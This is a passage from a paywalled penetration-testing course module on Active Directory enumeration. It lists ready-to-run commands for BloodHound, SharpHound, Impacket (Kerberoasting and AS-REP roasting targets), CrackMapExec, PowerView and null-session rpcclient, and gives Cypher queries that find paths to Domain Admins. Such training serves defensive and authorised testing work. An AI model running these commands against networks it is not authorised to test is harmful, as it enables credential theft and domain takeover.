The first step of every AD attack is enumeration. Before exploitation, before lateral movement, before privilege escalation β you map the terrain. AD’s fundamental design choice of “authenticated users read everything” means attackers and defenders enumerate with the same tools, seeing the same data. The difference is what they do with it.
Why enumeration works so well
AD’s LDAP schema is open by design. Any authenticated user can query for:
- All user objects (names, descriptions, email, employee IDs, last logon)
- All group memberships (including privileged groups)
- All computer objects (hostnames, operating systems, last logon)
- All OU structure
- All Group Policy Objects (name, links, CDN paths to SYSVOL)
- All ACLs on nearly every object
- All trust relationships to other forests
- All service principal names (attack target for Kerberoasting)
This information was intended for sysadmins. It is equally useful to anyone with any authenticated credential. And getting one authenticated credential is usually trivial (Responder, phishing, password spray).
Enumeration toolkit
# BloodHound Python data collector (most common 2026)
bloodhound-python -u alice.smith -p 'Password1' \
-d corp.local -c All -ns 10.1.1.1
# SharpHound (Windows, C# β stealthier on monitored networks)
SharpHound.exe -c All -d corp.local
# Impacket β raw LDAP + SMB enumeration
GetADUsers.py -all CORP/alice@dc.corp.local
GetNPUsers.py CORP/ -usersfile users.txt -no-pass
GetUserSPNs.py CORP/alice:'Password1' -dc-ip 10.1.1.1
# CrackMapExec β multi-protocol lateral enumeration
crackmapexec smb 10.0.0.0/24 -u alice -p 'Password1' --shares --users --groups
crackmapexec ldap 10.1.1.1 -u alice -p 'Password1' --trusted-for-delegation
crackmapexec smb 10.0.0.0/24 -u alice -p 'Password1' --loggedon-users
# ldapsearch (Linux native, safest for noisy networks)
ldapsearch -H ldap://dc.corp.local -D 'alice@corp.local' -w 'Password1' \
-b 'DC=corp,DC=local' '(objectClass=user)'
# PowerView (PowerShell, from within a Windows session)
Get-DomainUser | Select samaccountname, description
Get-DomainGroupMember 'Domain Admins'
Find-DomainShare -CheckShareAccess
Get-DomainComputer -Properties Name, OperatingSystem, LastLogon
Data you gather
A full BloodHound collection on a 10,000-employee AD yields ~2 GB of JSON. Key categories:
- Users: every user object with attributes. Reveals naming conventions, admin accounts (names like ‘admin’, ‘backup’, ‘svc_’), service accounts.
- Groups: privileged groups (Domain Admins, Enterprise Admins, Schema Admins, backup groups, custom “Server Admins”). Group nesting often reveals paths.
- Computers: operating systems (Windows XP/Server 2003 still live = unpatched), trust relationships, delegation settings.
- Sessions: which users have logged onto which computers recently (cached sessions = credential cache opportunities).
- ACLs: who can write to what. Common attack path: “Service Desk” group has WriteDacl on Domain Admins (for password resets). Compromise any helpdesk account β reset DA password.
- GPOs: group policy objects and where applied. Finding GPP cPassword is still possible.
- Trusts: which other domains trust this one, with what flags (SID filtering? transitive?).
BloodHound queries that matter
# In BloodHound GUI, common queries:
# 1. Shortest Paths to Domain Admins
# (from any user you compromised)
# 2. Shortest Paths from Kerberoastable Users
# 3. Find Principals with DCSync Rights
# 4. Find Computers where Domain Users are Local Admin
# 5. Shortest Path from Owned (marked) to Domain Admins
# Custom Cypher queries for attack paths not in default set:
MATCH p=shortestPath((u:User {owned:true})-[r*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
# Find ACL-based paths (not just group membership)
MATCH p=shortestPath((u:User {owned:true})-[r:WriteDacl|GenericAll|GenericWrite|WriteOwner*1..]->(g:Group))
RETURN p
Enumeration without credentials
Some enumeration works with anonymous bind (if enabled) or SMB null session (if enabled):
# Anonymous LDAP bind
ldapsearch -H ldap://dc.corp.local -b 'DC=corp,DC=local' '(objectClass=*)'
# SMB null session
rpcclient -U '' -N dc.corp.local
rpcclient$> enumdomusers
rpcclient$> enumdomgroups
# Usually disabled in modern AD, but mergers + legacy = found in the wild
# CVE-2020-1472 (Zerologon) also required zero credentials
# CVE-2022-30216 (Kerberos delegation) similar
Real enumeration findings
Engagement statistics from published pentest retrospectives:
π Intermediate Module Β· Basic Tier
Continue reading with Basic tier (βΉ499/month)
You've read 27% of this module. Unlock the remaining deep-dive, quiz, and every other Intermediate module.
99+ modulesAll levels up to this tier
20-question quizzesUnlimited retries with explanations
Completion certificatesShareable on LinkedIn
5 more sections locked below